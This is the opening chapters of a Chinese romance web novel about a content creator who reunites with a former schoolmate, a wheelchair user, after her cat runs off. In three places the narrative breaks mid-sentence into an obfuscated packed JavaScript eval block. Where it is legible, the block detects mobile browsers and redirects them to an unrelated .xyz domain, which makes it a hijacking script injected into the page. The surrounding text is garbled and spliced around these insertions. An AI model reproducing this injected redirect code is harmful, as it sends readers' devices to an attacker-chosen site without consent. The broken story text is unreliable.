《老派约会之必要》 1. 第 1 章 “崽崽!!你又乱跑!!!” 好听的少年音在许尽欢身后响得有些气急败坏,又带着点轻微破音,在这个春末傍晚尚未褪尽热度的街道上破空而来,干脆利落地撞进许尽欢耳里。 她停下脚步,条件反射般回头。 声音耳熟。 不光声音耳熟,那人也眼熟。轮廓干净利落,目测是那种从少年时期就轻易抓住别人目光的模样。只是现在,这人坐在轮椅上。这个姿态让她脑中自动排查相似对象时出了点错乱,她思索片刻,记忆中认识的人里,不该有谁是这样的。 她皱了皱眉,没做多停留,转身继续走向星河湾的大门。 傍晚七点四十,空气里还残留着白日被水泥路面蒸腾出的温度。高楼林立,夕阳的余晖从楼宇缝隙间斜斜落下,洒在她帆布包的边角,浮动着猫毛一样细碎的光点。 后方轮椅的声音在地面上划过,像一阵风从她身边掠过。 洗衣液的味道也一起飘来窜进许尽欢的鼻腔,是清爽的橘子气味,闻上去和她家小猫的香波是一一个味儿。许尽欢鼻尖动了动。 衣服,没漂干净啊。 几步之外,男生停下了轮椅。一只金毛从草丛里窜出来,毛发在夕光下泛着奶油色的柔光,后面还跟着一只猫。金渐层,两位颜色相近。只不过那只猫胖得离谱,浑身抖抖索索地被狗追得不行,尾巴都炸成了蒲公英却拧着身子倔强地不肯跑快,像是在用生命抗议来自金毛的迫害。 许尽欢回家的脚步放慢。 那只金渐层实在太眼熟了。 尤其是猫脖子下方,蒜瓣毛里若隐若现的红绳和一点点坠着的东西。 那是…… 长命锁? 她心里一震,脚下几乎在无意识中转了方向。 再走近一点,她看清了那只猫肥硕的身躯。 四肢短小、尾巴粗圆,头上还有一点没洗干净的灰。她突然有些不确定自己的眼睛是否出了问题。 再近一点,那只猫正好被金毛逼得转了方向,扑通一声撞进了她脚边。 “抱抱?”她喊了一声,声音带着试探和不确定。 奶茶色的猫像是受了惊吓一般,忽地抬起头,随后撒着欢冲向她。 是它。 真的是她家那只逆子。 “崽崽别追了!!” 轮椅上的男生像终于反应过来似的,努力地拨动轮圈向她靠近,同时一只手拉住还在兴奋地扑腾的金毛:“停!不许碰人家猫!” 许尽欢蹲下,手里提着的蔬菜袋放到一边,抬手轻轻摸了摸金渐层的脑袋。 毛发柔顺得很,刚洗过。 她低头嗅了嗅猫脑袋,有熟悉的沐浴露味,是她前几天刚开封的一瓶。 “你……”她把胖猫抱起来,掀开它脖子上的毛,露出了一条细细的红绳和纯金的长命锁。 她盯着猫,语气不咸不淡地说了句:“抱抱,你死定了。” 那只金渐层猫没吭声,只是心虚地把脑袋往她怀里蹭了蹭。 “那个……”轮椅上的男生终于滑到了她面前,呼吸微乱,似乎也有些不好意思。 许尽欢把猫塞进装满菜的帆布袋解释:“我不是猫贩子,我家猫不知道怎么跑出去的……还得谢谢你,不然我今晚可能得沿着街头找一宿。” 许尽欢讲出整理好尽量礼貌的话语,背起帆布包,另一只手把蔬菜重新拎起来,打算就此告别这位男士。 “你是……许尽欢?” 她愣了一下。 黑色奢牌连帽卫衣、深色牛仔裤、一尘不染的潮牌球鞋,看上去极其合身价值不菲的轮椅停在她面前,男生仰头看着她,一双眼睛亮得像夜里的路灯。 亮的晃眼。 她不意外对方能叫出自己的名字,因为她刚刚就觉得眼熟。 对方认得她。 她却记不起眼前这位一看就是长期轮椅用户的人自己到底是什么时候认识的,按理来说有这种特征她不应该会忘掉。 “好久不见”许尽欢扬起嘴角。 骗人的。她根本不记得好久之前在哪见的。 “真是好久不见啊,我是纪允川!我们高中的时候不是还在一个部门嘛!你还记得吗?元旦晚会的时候我们还一起搬过摄影器材,哇,真的好多年了啊!” 男生说话的速度飞快,一句接一句的话像倒豆子似的砸下来,语气里带着掩不住的雀跃和兴奋。 那句好久不见根本没必要,因为对方看上去丝毫不在意,还贴心地自报家门了。 许尽欢顿住,听着眼前人的话她想起来了。 确实是高中学生会同一部门的,不过好像和她不是一个年级的。应该是学弟。那时这位外貌出众,性格开朗,似乎是很多人暗恋的对象。她印象最深的是,在食堂吃饭听到隔壁一对早恋情侣聊天,在吐槽老师和后桌中夹杂着提到此人极其擅长打太极说软话,追求者多,伤害了很多少女心。 许尽欢叹了口气,她承认,她高中还是挺八卦的。大概是因为总一个人吃饭的缘故吧,在不允许带手机的高中生活里没有电子榨菜下饭,她仅有的娱乐就是在找座位的时候找一对话很多的朋友或者情侣坐在他们附近,像听广播剧一样下饭。 “你也住这小区?”许尽欢略显迟疑地开口,好不容易找了个空当插话。 “对啊对啊,我都住两年了!天哪,没想到你也在这!这还是我第一次见你诶!”纪允川整个人都像被点燃一样,表情带着肉眼可见的快乐。灿烂的笑容让许尽欢感觉刚落下的太阳又要升起来了。 她低头,看了眼正在她腿边围着转圈的金毛,又看了看轮椅上的男生。 这画面…… 怎么说呢,有点像...... 金毛摇着尾巴围着她打转,轮椅上的人仰着头笑得无比灿烂。 像两只狗。 “我住C栋。”她轻声说。 “真的假的?我也住C栋!”纪允川眼睛一下瞪大,“你住几层?” “十九。” “真的假的!我住二十楼!” 许尽欢垂眸,觉得好像是有点巧。 “真的是太巧了,我从来没见过你诶,你平时都不出门的吗?” “我作息不太规律。”她简短地解释。 “你是夜猫子型吧?我也是,我经常通宵打游戏,有时候早上才睡……” 纪允川话没说完,那只叫崽崽的金毛忽然站起来,两只前爪扑上许尽欢的腰,像是想去挠她背上的帆布袋接着和猫玩。 帆布袋里猫咪发出“嗷呜”地一声抗议。 “你想干啥!”纪允川立刻扯住狗绳,扼住他命运的喉咙,一副要和它决斗的架势。 许尽欢笑了一下,蹲下摸了摸金毛的脑袋:“今天多谢你找到了它,改天请你吃罐头好不好?” 金毛没回答,纪允川的肚子先叫了。 声音清脆有力,格外响亮。 空气瞬间有点尴尬,纪允川赶忙捂住肚子,耳根红了个透。 许尽欢蹲在地上揉着狗头,轻轻挑眉:“改天请你,今天先谢谢你的主人,请他吃顿饭怎么样?” 她是对着狗说的,眼神却不动声色地落在轮椅上的人身上。 话赶话,她有点后悔。这位多年不见的学弟肚子叫的也太凑巧了…… 纪允川眼睛一亮:“好!!我可以自选吃什么吗?” 他滑着轮椅往前靠了半圈,语气像小朋友得了奖状要吃垃圾食品,眼睛亮亮的,隐约还透着点紧张和期待。 “可以。”许尽欢点头,“不过得等我把猫送回去。” 她拍了拍帆布袋,猫在里面拱了拱,发出不满的“咕噜”声。 “好,我们吃小馄饨好不好!?我也带崽崽回家一下!”纪允川利索地掉头,狗跟在他轮椅旁边活蹦乱跳,一人一狗在晚风里溜得飞快。 许尽欢站在原地目送对方走远,低头看了一眼怀里的猫,咬牙切齿地问道:“你是不是要疯?嗯?十九层你怎么下来的?你是不是想被炖汤?” 猫没回答,只是无辜地舔了舔爪子。 她回家动作很快,把蔬菜放进冰箱,帆布袋挂回门后,把抱抱从袋子里揪出来,扔进猫窝。猫挣扎了两下,还是无奈地滚进垫子里瘫成一团死鱼。 她随手拎起门口鞋柜上的皮筋,扎了个松散的低马尾。 出门前她站在玄关照了照镜子,盯着镜中人看了两秒。 脸没什么表情,眼角有点倦色,唇色偏白。 她用指腹轻轻揉了揉眉心,没涂口红也懒得补妆,拎起手机和钥匙下楼。 她到楼下的时候,纪允川已经等在那里了。 她一眼就看出来这人换了衣服。 之前那件连帽卫衣换成了白色短袖T恤,外面套了一件设计感很强的机车风外套,黑白撞色,利落干净。他头发好像也重新抓了抓,发顶翘着一小撮,眉眼清爽,整个人显得有点锋利了。 似乎还喷了香水,是偏木质的调子,隐隐有点檀香味。 许尽欢心里一惊,认真地想,吃个馄饨,需要这种程度的梳妆打扮吗...大半夜这是在开什么屏…… “走吧!”纪允川精神抖擞地划着轮椅,“咱们小区后门新开了家夜市,有一摊馄饨特别有名,我第一次吃完直接回味了一晚上!” 他看起来比刚刚他身边的小狗更兴奋有活力。 许尽欢走在他身侧,一路默默听着他介绍夜市路线、摊主是江西人、馄饨皮子怎么薄得能透光、老板娘是个大美女、汤底熬了八个小时……她一边听,一边慢慢调整自己的步伐频率附和他轮椅滑行的速度。 夜市果然热闹。小区后门拐弯处沿街摆了一溜摊子,从烤肠、臭豆腐到章鱼烧、炒年糕,每个摊前都排着人。香味在空气里混合着,刺激着她的胃,但她还是没什么食欲。 她不常和人并肩走路,也不擅长和不熟悉的人保持热络节奏。 但这个人显然不需要她接话。 “……你说这世上怎么会有这么巧的事啊?”他继续说,“我们都住C栋,而且还上下楼,而且还是高中认识的,诶你还记得我们部门聚会的时候我朋友喝多了偷亲了团支书的事吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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早上睡醒,推着轮椅去阳台晒太阳,打游戏做游戏写代码,晚上出来吃夜宵,和摊主打招呼,兴许还会和路人聊两句,日子过得热热闹闹。 “吃什么口味?鲜肉?荠菜?蟹黄?” “鲜肉。”她想都没想。 “你跟我一样!我也是只吃鲜肉!”他开心地回头看她。 许尽欢这才有空观察纪允川的座驾,发现他低矮的轮椅靠背有几道划痕,屁股下的座垫极厚,侧边还贴着一枚机器猫贴纸。 巧姐是个一眼望去就很能干的女人,年纪不大,穿着围裙,头发利落地扎成一束,动作干净利索。她从油锅前抬眼看到纪允川,眉头一挑,嘴角微扬:“小川又来啦?这次带女朋友啦?” “哪儿呢哪儿呢,巧姐你别乱说,这是我高中同学。”纪允川有点不好意思,但还是笑着回应。 “还是老样子?”巧姐笑着问,手下却已经麻利地舀出一勺汤底。 “对!要两份!麻烦啦。” 纪允川一边说着,自顾自地一边转动轮椅到角落的桌子边,娴熟地把两个塑料凳子摞在一起,给自己的轮椅腾出一个空位。动作之自然,显然不是第一次干。 许尽欢托腮安静看着他的动作,目光从那件设计感十足的外套扫过,最后落在他戴着露出五个指头手套的手上。 她忽然有点不解:吃个馄饨,有必要穿得像走秀似的,还喷香水?巧姐确实漂亮,但这位阿巧老板很显然有家室了。 许尽欢望着他有点不好意思笑着和巧姐对话,兴趣十足。 男小三啊…… “你现在在做什么呀?”纪允川递来一副拆开的筷子,带着点小心翼翼的好奇,“啊,你方便说吗?如果不想聊工作的话也可以换个话题。” 许尽欢失笑,接过筷子:“方便啊。我在做自媒体。” “哇,厉害啊!”他眼睛亮了一下,声音轻快得像是点开宝箱的特效声,“是视频那种吗?好酷啊。” 许尽欢本以为他只是敷衍奉承,但仔细看他脸上表情,偏偏真挚得很,眼神里全是认真。让她一时间竟生不出半分反感。 “嗯,还成。”她语气放缓了一点,没那么冷淡。 “我在做游戏!”纪允川自豪地一挺胸,又马上皱眉苦笑,“我从小就爱打游戏,结果现在做了开发才知道这玩意儿真要命。爱好一旦变成职业,快乐瞬间折半。我现在除了测评都不怎么打游戏了。” “有能力把爱好变成职业,还是一件挺了不起的事。”许尽欢认真地说。 这话让纪允川怔了一下。 他本想笑着接话,结果耳根先红了。 许尽欢坐在桌子对面,清楚地看到那抹红色从他脖子一路蔓延到耳廓,像是被打翻的桃花酿,在脖颈边泛起淡淡的红晕。 她有点惊讶。 从方才一路的热情如火,到此刻这幅被夸就脸红的模样,转变得太快,让她有点想笑。 “啊,哈哈……嘿嘿。”他结结巴巴地挠头,“谢谢你啊。” 2. 第 2 章 许尽欢低下头,死死咬住口腔内侧的一点软肉,好不容易才忍住没笑出声。 这人……怎么会这么不经夸。 气氛还没完全缓和下来,巧姐已经将两碗馄饨端了上来。热腾腾地冒着香气,汤清透得近乎金色,里面漂着几朵紫菜、几粒虾皮,还有猪油提香,表面点缀着一把翠绿葱花碎和榨菜丝,色香俱全。 “谢谢!”纪允川看得直咽口水。 “你要的老样子。”巧姐抬抬下巴,“还有你上次说的那小程序我老公搞好了,你待会儿试试看,现在我这儿扫码能直接点单然后跳微信收款页了。” “行嘞!”他笑着应声,又不忘对许尽欢嘱咐一句,“趁热吃,不然皮就烂了。” 许尽欢无意探索对面的人想不想当男小三,春末傍晚冷风乍起,她迅速舀起一颗馄饨,轻轻咬下一口。 很鲜,很烫。 比她想象的更好吃。 汤底里隐约有猪油香气,但弥漫在骨汤之中却又不腻,榨菜丝提味,少量虾皮咸香适中,被烫开的紫菜夹杂着炒过的芝麻,很香。 她默默在心里记了下来,春末一人食的视频可以尝试做馄饨。 她发呆的时候,纪允川已经吃完三个,一边吃一边还不忘观察她的反应。 “合你口味吗?”他试探着问。 馄饨皮子软,肉馅带着胡椒香气。 她吃下第三个的时候,胃开始有点抗拒了,但还是硬着头皮继续吃。 “嗯,很合,馄饨很好吃。”她回答得简洁。 热气升腾间,她的脸透着一点因为热气氤氲而淡淡的红,眉眼被雾气蒸得更显柔和。 纪允川看着,像是忽然被什么轻轻拍了一下,发自内心的高兴。 又遇到了,真好。 他不太确定许尽欢记不记得高中那段日子,甚至连他是不是能算得上她的“朋友”都不好说。但他清楚地记得她。 她的头发偶尔会因为没睡好往一边敲起来,总是站在学生会会议室一角,话不多,但声音很好听;做事利落,却对人疏离,只有偶尔被问起的时候才轻声应答。 他一直记得她的声音,冷淡,但是柔软。 晚风吹进巷子里,带着夜市的喧嚣和馄饨汤底的余香。 等到扫码付款时,许尽欢站起身去摊车前拿手机,巧姐看她的眼神像是看穿了些什么,笑着冲她摆了摆手:“不用了。” “不能这样……”她下意识想拒绝,毕竟是她说要请人吃饭的。 “小川常来吃,在这存了钱的。”巧姐眨了下眼。 许尽欢怔了下,没再说话。 回头时,纪允川已经把吃饭前合起的板凳拆开归位,坐在轮椅上朝她咧嘴一笑:“回家啦,我在巧姐这存过钱啦,自动扣款~” 他的声音依旧明朗,许尽欢却忽然觉得心口像被一只软软的爪子轻轻挠了一下。像看到了一只快乐的小动物。 这人相关的记忆找回来后,许尽欢隐约想起,从高中开始他就是这样,像个发光体。只要他在,周围永远一群人,热热闹闹的。不过那时候,她没怎么和他交流过。 她忍不住侧头看了纪允川一眼。她没接触过残疾人,上一次听说轮椅两个字还是在《我与地坛》。不过眼前这位肯定不是什么骨折崴脚,因为这轮椅根本不是医院租赁或者年纪大的老人会用到的那种有背后有把手,双侧有扶手的款式。 “说好了请你吃饭的。”她轻轻开口,双臂交叠在胸前,慢悠悠地走在他身侧,语气平平淡淡的,像是陈述。 “嗨,下次再说呗。”纪允川笑着摆手,“反正咱俩上下楼,以后约饭多方便。好多餐厅一个人去都没办法点太多好吃的。” 说话间语调轻松,仿佛就是在聊天气那样。 许尽欢心里瞬间拉响了一级警报。 她不太擅长频繁应对一个热情而熟络的人,尤其还是一个曾在记忆中占过一小块角落,现在又突然闯进稳定生活节奏的人。 她沉默着跟在他身边,机械地迈步,脑子里却已经飞快地想了一套跑路计划:是不是得换房子?刚刚是不是太快暴露了自己住哪层?她刚刚买的新房啊······ 身边的轮椅忽然停住了。 她回神,看见纪允川脱外套。 起风了,风带着夜市的烟火味,从两排郁郁葱葱的树之间灌进来,吹得她发丝微动。 “你干嘛?”她有些疑惑地看着他。 “这是新的,我刚买的,甚至还没过水。”纪允川将外套抖了抖,“春末风凉得很,你刚吃了热的东西肯定出汗了,你就穿了件打底衫,不嫌弃的话披着点儿。” “……不用,我不冷。”许尽欢下意识摆手。 她说的是实话。她怕热不怕冷,春秋季节常常开着窗睡觉,而且,她也不是习惯穿别人衣服的人。 可纪允川没急着收回手。 他坐在原地看着她,一双圆眼泛着光,下垂的眼尾配合着夜色,显出一种无辜的执拗。 像条耍赖的狗…… “让我耍个帅吧,”他可怜巴巴地说,“求你了。” 许尽欢沉默两秒,判断出这人实在是自来熟过头,而她已经感受到夜市有人侧目,实在不想在原地久呆,最终还是接过了外套。 外套很大,她整个人包得像裹了一层不合身的雨衣,袖口盖过手指,走路时边角随着动作轻轻晃着,像她的猫在还瘦着的时候身上的那只围兜。 她低头看了眼自己袖子里只露出半截的手,觉得有点无奈。 穿别人的外套。 她这辈子没干过这种事。 走回家的路上,他推着轮椅走得慢,和许尽欢有一搭没一搭地闲聊,时不时悄悄瞄她一眼,似乎怕她走太快。 到了小区门口,她抬头看了一眼星河湾的灯光。 他们慢悠悠地走到C栋门口时,楼道灯把两人的影子拉得很长。 纪允川转动轮椅前轮刹车,掏出手机:“加个微信好不好?以前高中学生会聚会你一次也没来,你毕业之后都找不到你。” 许尽欢点点头,从宽大的外套袖子里艰难掏出手机,配合地扫了他的码。 他的微信头像出乎意料,是一张旧旧的栏杆转角,背景模糊得像胶片机拉过光。昵称很简单,就一个大写字母:“J”。 她以为会是蜡笔小新,或者龙图表情包配上“长矛沾屎戳谁谁死”网名。没想到竟有点文艺,或者说,收敛。 加完好友,他替她挡住电梯门。 电梯抵达19楼那一刻,她将外套脱下还给他:“谢谢英雄的馄饨和外套。” “嗨,哪儿的话。”他笑着摆手,还是那副不做作的少年气,“晚安,做个好梦。” “你也是。”她点点头。 电梯门缓缓合上,她听见他在里面轻轻地吸了口气。但没多想,输入密码开了门。 门一关上,纪允川整张脸都垮下来。 他按下电动助力的开关,轮椅滑动的声音在走廊里空荡地响着。 到了20楼,电梯门一开,他左腿忽然毫无预兆地猛地一弹,像抽了筋一样直直踢出去。那一脚力道大得几乎让他身体侧倾,整个轮椅晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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整段腰此刻都僵硬地疼,尤其是打了钢钉的那节脊椎,像要散架了似的。他叹气,今晚又要痛到睡不着了。 可是今天还是有好事发生的,就这样功过抵消了吧。 导管接上的那一刻,一股热流顺着塑料管流入储液袋,他整个人像脱了力一般靠在身后立着的马桶盖上,胸口剧烈起伏。 崽崽低低呜咽一声,担心地看着他。 他对着天花板笑了一下,像在嘲笑自己的不自量力。 “别担心。”他声音低低的,不知道在安抚自己还是崽崽,“哥还撑得住。” 水声止歇,脊背终于放松。他将导尿包收拾好,把轮椅坐垫的套子拆下,铺了张浴巾转移到轮椅上,把地上沾湿的长裤袜子和坐垫扔进洗衣机,又回到玄关把门口的地擦干净,抹布洗干净晾在阳台。 收拾完这些烂摊子,又去洗了个澡,他坐在阳台前,看着夜色中微弱的灯光。思索片刻,转动轮椅到阳台的边上,穿好从腰连到腿的支具,死死捏着阳台边缘的扶手短暂地站起。探出头去看楼下,发现亮着灯。 19楼阳台上的灯还亮着。 他莫名其妙地又高兴了,重新坐回轮椅靠着椅背,揉了揉崽崽的脑袋。 崽崽把头搭在纪允川膝盖上,嗷呜一声。 纪允川双眼亮晶晶地看着膝头的小狗:“崽崽,虽然不知道以后啥情况,但至少哥今晚,运气爆炸。” 3. 第 3 章 许尽欢回到家后,第一件事就是把猫窝里睡觉里的猫拎出来进行批评教育。 “你是不是要造反了。嗯?”她毫无表情地提着抱抱的脖子,将它扔到客厅角落那张猫抓板前,拎着它的后颈皮,让它坐得规规矩矩。 “你知不知道自己差点就丢了。”她蹲下来,眼神极其认真。“你觉得你这个体型你这个窝里横的窝囊性格跑去外面自己能活几天?” 金渐层疑似没睡醒,发出一声有气无力的“喵”,肥胖的身躯从沙发缝里蹦跶到原地,一副任人宰割的模样,尾巴在地上无力地甩着。 “你再趁我开门不注意跑出去,”许尽欢说,“我就不、给、你、吃、罐、头、了。” 每说一个字,她手指就戳一下猫脑袋。 猫本能地闭眼,肉团一样的脸抖出几圈波纹,但依然不逃跑,像是习惯了这种训斥流程。 “倒霉孩子。”许尽欢叹了口气,揉了揉它脑袋,站起身进了卧室。 她洗了个澡,换下弄皱的衣服。头发洗完也懒得吹,就抱着平板电脑蜷在客厅的沙发上,想随便找点什么剧打发时间。 电视还在播放《武林外传》,她家的电视二十四乘七地持续工作,声音调得很低,像背景白噪音一样稳定地存在。这种稳定是就算她真想听音乐或者看电视剧也不会把电视循环播放的武林外传关掉。 她打开电脑,没什么目的地点开浏览器,不知怎么的,忽然想起晚上偶遇的老同学。 轮椅、笑容、香水、外套,还有那句“让我耍个帅”。 她咬着吸管,看着搜索栏愣了两秒,还是敲下字母: “什么病得坐定制轮椅。” 搜索结果刷地一行行跳出来: “脊髓损伤能康复吗?” “脑出血患者的日常照顾要点” “偏瘫能康复吗?” “长期轮椅使用者的家庭环境建议” 许尽欢随便点进去几条,内容五花八门,看着看着她皱起了眉。 她也不知道自己在看什么,大概只是好奇。 不确定,也不太敢确定。 “跟我也没什么关系。”她嘟囔了一句,啪地把电脑合上,扔到一边。 电视继续播放,她拿起遥控器随手调高音量,让声音盖过脑海中那些乱七八糟的词条。 她窝回沙发,把自己团进毛毯里,一边刷短视频,一边听着熟悉的对白,感受到安定。 “葵花点穴手。” 不知道什么时候睡着了。 再醒来,已经是第二天下午。 窗外淅淅沥沥下着雨,灰蒙蒙的天像被一层布笼罩着一样阴沉。她揉了揉眼睛,发现客厅一片昏暗,电视剧恰好循环播放到第一集,遥控器滑到了地毯角落。 手机不知道什么时候关机了。 她翻了翻沙发缝找到充电器,把手机插上。手机刚开机,各种提示蜂拥而至,系统通知、平台推送、微信消息。 她删除所有消息提示,先打开外卖软件,点了一份泡菜牛肉饭,才慢悠悠找了笔记本电脑打开邮件处理商务合作。 短视频后台数据更新,视频播放量中规中矩,四十多万点赞,三万多评论。没有爆点也没有塌房。 在邮件里挑了一个还算有诚意的品牌,加了对方微信,对接样品邮寄事宜。敲完最后一行字,外卖正好到了。 她拎着饭盒坐在地毯上边吃边看手机,吃了两口便觉得饱了,把剩下的合上扔进厨房垃圾桶。 打开草稿箱,确认还有四条库存视频,心里顿时安心下来。 既然内容够用,就没必要强迫自己今天继续拍新稿。 她又窝回沙发刷起短视频,不知不觉又昏昏欲睡。 被微信提示音吵醒时,她下意识地以为是苏苓因为甲方的不合理需求发疯。 屏幕一亮,是昨天晚上才加上的纪允川。 【你吃晚饭了吗?要不要一起吃饭呀!】 许尽欢眯着眼,看着这一行字,脑子还没转过来,动作却先一步点了进去。 这一觉没睡好,后脑勺的左边隐隐作痛,偏头痛的前奏明显。她蹭地坐起来,脚下一软,险些磕到茶几。 她扶着墙走到冰箱,拆了两块巧克力塞进嘴里缓解低血糖,又回到沙发上拿起手机。 屏幕上又多了几条新消息。 【附近商场新开了火锅店!】 【前两天排队排的可吓人了,味道应该很不错!】 【你今天有空吗?咱一块去吃怎么样??】 【外面有点小雨,我开车吧!】 【你爱吃火锅吗?】 许尽欢盯着密集的语音气泡,产生了一种自己被网暴的错觉。 这谁受得了。 她慢慢打字:【啊,好像有听说新开了一家火锅店。】 其实没有,她几乎不去店里吃饭只点外卖。 【可以啊,我爱吃火锅的。】 这句是真心话,不过现在也吃不了多少。 【那等我收拾一下。半小时后车库见?】 昨天的吃饭过程还算愉快,而且并不是她付的钱。还欠个人情,索性今天她提前把单给买了。 发出这句话的时候她脑子还没完全清醒,想了半天下一步要干什么,才慢吞吞地去卫生间。 许尽欢起身进洗手间洗脸漱口,又慢悠悠地化起妆来,打算简单拍个底妆涂个口红出门。 底妆刚拍完,准备吹头发时,她无意间瞥到洗手池下方有水痕。 她弯腰看了眼, 水管渗水了。 她蹲下检查了一下,想着应该没什么大问题,正式动手前还打开红色app搜了搜关键词【洗手台下方漏水自己修】,看完一篇图文教程和一个视频后心里有了底。 离约定时间还有二十分钟,她觉得时间富裕得很,脑子一抽就决定自己动手解决。 设想是完美的,实操是翻车的。 她低估了水压、高估了自己、错信了红色图标软件上博主的“只需三步”教程。 她只拆了一根软管,水柱就喷了她一脸,头发本就没干,现在更是湿得像泡过水的抱抱。 等简单收拾了一下卫生间的洪水,距离出门时间已经过去五分钟。 卫生间地面一滩水,水管没有修好,外套湿透,头发滴水,她整个人看上去像刚从浴缸里爬出来。 她的脑子里盘旋着无数后悔的念头: 为什么今天不早点出门?为什么不请专业的?为什么要修水管?为什么要答应去吃火锅? 在极度烦躁与懊恼之间,许尽欢深吸一口气,打开微信,直接拨通纪允川的语音电话。 “那个……可不可以再晚半小时?” 许尽欢开口,整个人都开始后悔。 她说得很平静,语调甚至带点克制的歉意,可她现在实在没办法赴约。 纪允川秒接:“诶?没问题啊!是有啥事儿吗?我不着急的,你要是有事的话慢慢来哈。” 许尽欢头疼地闭着眼,满脸都是对自己愚蠢的无奈,靠在浴室门边叹了口气,还是选择解释:“我家水管漏水,本来想自己顺手修了,结果失败了。现在家里有点……小范围发大水。” “你等我,我去帮你吧!我挺会修东西的。” 语气是那种没把这事当事的轻快。 “啊,不用了,我已经快弄好了。”她下意识拒绝,本来她就不想欠别人的人情。 她不想麻烦他,尤其是他还…… 她看了眼满地水渍,迟疑地蹲下身,却又发现那根水管的接头位置好像变得更松了。 她低声骂了句“完了”。 五分钟后,门铃响了。 许尽欢披着刚换下来的浴巾从卧室走出来,打开门的瞬间怔住了。 纪允川真的来了,腿上放着一个黑色工具箱,白色T恤,墨绿色的外套,一张俊脸上全是风尘仆仆的笑意,看着跟没毕业的大学生似的。 “你这是?”她一时没反应过来。 “我马里奥啊,管道这事儿我拿手。”他抬抬下巴,示意工具箱。 “……”许尽欢苦笑,“实在抱歉,不是故意放你鸽子,刚刚是真的在修水管。” 她这会儿的状态有些狼狈。黑色打底衫被湿透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535061|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大半,外面浅蓝色衬衫皱巴巴地搭着,白色的牛仔裤也被水汽熏得贴在身上。及腰的头发是半湿的,滴着水,别在耳后,露出清冷白净的脸和微红的耳廓。 如果忽略掉湿发和狼狈,这一身穿搭像是哪个穿搭博主刚拍完片回家。 纪允川呆呆地看着许尽欢的脸,半张着嘴一时间竟忘了说话。 “喂?”她眉头微微皱起。 “哦哦,我是说……看得出你刚刚真的有在修。”他迅速回神,笑容挂在脸上。 “那就麻烦你了。”她侧身让开门口,给他让出一条路。 “你也太客气了。”他熟门熟路地翘起轮椅前轮,轻巧地越过防盗门门槛,“我这辆轮椅是家里用的,轮子干净的,不会弄脏你家地板。” “没关系的,我家地板也没多干净,你进来吧。”她指了指卫生间,“就在那边。” 她带着他走过去,水还在慢慢地渗,毛巾横七竖八地挡了一部分,但效果不大。 “我好像越修问题越大。”她苦笑。 “交给我吧。”纪允川说着,将工具箱放在轮椅边上。 他先是用双手撑住轮椅座面,将身体向前滑了半截,然后手臂穿过双腿膝弯,慢慢地将双脚从踏板上移下,接着撑住一边洗手台的台面,一边将身体往下挪。 瓷砖地面有点滑,但他动作娴熟,几乎没花什么力气就坐到了地上,膝盖弯着,工具箱拉到面前,开始拆件。 “你其实弄的都差不多了。”纪允川一边端详着U形管一边打开工具箱。 “麻烦你了。”许尽欢站在一旁,看着他熟练但不怎么美观的狼狈动作,心里那股“这简直是在霸凌残障人士”的愧疚情绪再次上涌。 “嗨,这算什么麻烦。顺手的事儿。” 她原本以为,他只是日常行动靠轮椅。但此刻,看到他弯着腰坐在冷冰冰的瓷砖上,靠手撑地调整坐姿,她突然意识到,他的下肢好像是真的一点力气也没有。 她看见他拉扯水管时,腿在地面上无意识地滑动。感觉不像是自己主动,是手臂发力后惯性带着的滑动。 许尽欢感觉自己可能不太礼貌就转开视线没多看,感觉眼前的画面实在是让她不知道作何反应。 “你现在开水龙头试试。” 纪允川撑着瓷砖,抬头望她一眼。 她这才匆匆回神,走到洗手台边上打开水龙头,听见哗哗水声流出,低头一看,水管不再滴水。 “啊……好了。”她有点发懵。 “完美收工。”他拍拍手,“我就说我行吧?” 许尽欢点点头,笑了下,“那你等我吹个头发换个衣服?” “你换衣服吧,我等你,反正现在也没那么饿。”他说着将轮椅拖近,一手拉着洗手台的台面一手撑着轮椅的坐垫慢慢地把自己从地面推回轮椅。 过程不快,但十分狼狈。 她看得出来,他有些紧张,在尽量不发出太多声音。他尽力控制着自己的无力,像个熟悉身体规则的老玩家。 她什么都没说,只是默默离开。 她没有在洗手间吹头发,而是转身走进衣帽间,合上门,靠着衣柜沉默了一小会儿。 十分钟前,她还以为他就是个腿脚不便的人而已。现在她知道,大概远远不是那么简单。 她感觉自己需要时间去适应这种落差,而且这种明晃晃的不便,她有点没想好怎么和他相处,似乎是个需要拿捏分寸的麻烦事儿。 要不还是搬家算了······ 她换了一套干净的衣服,白T恤搭了件风衣,简单利落。只是头发还在滴水,但她不打算在屋里多耽搁。 走出衣帽间看了到抱着工具箱乖乖在门口等她的那道身影,她说:“楼下见。” “遵命!”纪允川扬起一个灿烂的笑:“那我就在车库等你啦?” 她走进卫生间门后,拿起吹风机前。听见他打开了家里的防盗门,哼起了歌,不知道在哼什么,但旋律轻快,像是心情不错。 她看着关上的门叹了口气,果然人和人的差距偶尔可以跨物种。怎么有人每天都跟吃了兴奋剂似的。 4. 第 4 章 小区车库潮气未散,雨后的泥土味混着汽油味,笼罩在沉闷的空气里。 许尽欢踩着湿滑的地砖走来,头发还没干,发尾贴在颈侧,一滴水顺着耳垂滑下,落在白色T恤的领口,晕出一点淡淡的水痕。 